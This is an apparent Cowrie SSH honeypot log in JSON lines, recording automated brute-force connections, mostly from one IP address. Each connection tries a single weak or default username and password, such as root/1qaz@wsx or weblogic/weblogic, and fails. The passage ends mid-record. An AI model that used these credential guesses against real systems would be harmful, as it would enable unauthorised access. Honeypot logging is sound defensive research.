{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40868,"dst_ip":"10.17.0.5","dst_port":22,"session":"74d5e3cbfe2d","protocol":"ssh","message":"New connection: 83.168.110.85:40868 (10.17.0.5:22) [session: 74d5e3cbfe2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:10.167101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:10.361189Z","src_ip":"83.168.110.85","session":"74d5e3cbfe2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:10.365537Z","src_ip":"83.168.110.85","session":"74d5e3cbfe2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:11.028972Z","src_ip":"83.168.110.85","session":"74d5e3cbfe2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:12.275587Z","src_ip":"83.168.110.85","session":"74d5e3cbfe2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57148,"dst_ip":"10.17.0.5","dst_port":22,"session":"72f9242a52ef","protocol":"ssh","message":"New connection: 83.168.110.85:57148 (10.17.0.5:22) [session: 72f9242a52ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:17.596993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:17.602121Z","src_ip":"83.168.110.85","session":"72f9242a52ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:17.727078Z","src_ip":"83.168.110.85","session":"72f9242a52ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:18.091246Z","src_ip":"83.168.110.85","session":"72f9242a52ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:19.361585Z","src_ip":"83.168.110.85","session":"72f9242a52ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45224,"dst_ip":"10.17.0.5","dst_port":22,"session":"52b006318cba","protocol":"ssh","message":"New connection: 83.168.110.85:45224 (10.17.0.5:22) [session: 52b006318cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:24.566943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:24.573257Z","src_ip":"83.168.110.85","session":"52b006318cba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:24.695777Z","src_ip":"83.168.110.85","session":"52b006318cba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:25.059983Z","src_ip":"83.168.110.85","session":"52b006318cba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:26.186537Z","src_ip":"83.168.110.85","session":"52b006318cba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45240,"dst_ip":"10.17.0.5","dst_port":22,"session":"43357dc258f8","protocol":"ssh","message":"New connection: 83.168.110.85:45240 (10.17.0.5:22) [session: 43357dc258f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:32.471064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:32.478423Z","src_ip":"83.168.110.85","session":"43357dc258f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:32.595048Z","src_ip":"83.168.110.85","session":"43357dc258f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:33.079755Z","src_ip":"83.168.110.85","session":"43357dc258f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.117.79.36","src_port":53292,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd36532ded8c","protocol":"ssh","message":"New connection: 39.117.79.36:53292 (10.17.0.5:22) [session: cd36532ded8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:34.044706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:34.049815Z","src_ip":"39.117.79.36","session":"cd36532ded8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:34.204385Z","src_ip":"83.168.110.85","session":"43357dc258f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:34.251567Z","src_ip":"39.117.79.36","session":"cd36532ded8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Gc123123","message":"login attempt [root/Gc123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:35.081558Z","src_ip":"39.117.79.36","session":"cd36532ded8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:36.285815Z","src_ip":"39.117.79.36","session":"cd36532ded8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39148,"dst_ip":"10.17.0.5","dst_port":22,"session":"5745d3e6becb","protocol":"ssh","message":"New connection: 83.168.110.85:39148 (10.17.0.5:22) [session: 5745d3e6becb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:38.375679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:38.382996Z","src_ip":"83.168.110.85","session":"5745d3e6becb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:38.503698Z","src_ip":"83.168.110.85","session":"5745d3e6becb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:38.871188Z","src_ip":"83.168.110.85","session":"5745d3e6becb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:40.164609Z","src_ip":"83.168.110.85","session":"5745d3e6becb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57722,"dst_ip":"10.17.0.5","dst_port":22,"session":"023f22ce39fb","protocol":"ssh","message":"New connection: 83.168.110.85:57722 (10.17.0.5:22) [session: 023f22ce39fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:45.594601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:45.599997Z","src_ip":"83.168.110.85","session":"023f22ce39fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:45.725388Z","src_ip":"83.168.110.85","session":"023f22ce39fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:46.090248Z","src_ip":"83.168.110.85","session":"023f22ce39fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:47.383741Z","src_ip":"83.168.110.85","session":"023f22ce39fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57728,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5edc8f56105","protocol":"ssh","message":"New connection: 83.168.110.85:57728 (10.17.0.5:22) [session: e5edc8f56105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:52.603183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:52.612481Z","src_ip":"83.168.110.85","session":"e5edc8f56105","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:52.733425Z","src_ip":"83.168.110.85","session":"e5edc8f56105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:53.100449Z","src_ip":"83.168.110.85","session":"e5edc8f56105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:54.240870Z","src_ip":"83.168.110.85","session":"e5edc8f56105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":54720,"dst_ip":"10.17.0.5","dst_port":22,"session":"fccf0420b7e8","protocol":"ssh","message":"New connection: 83.168.110.85:54720 (10.17.0.5:22) [session: fccf0420b7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:59.429150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:59.494931Z","src_ip":"83.168.110.85","session":"fccf0420b7e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh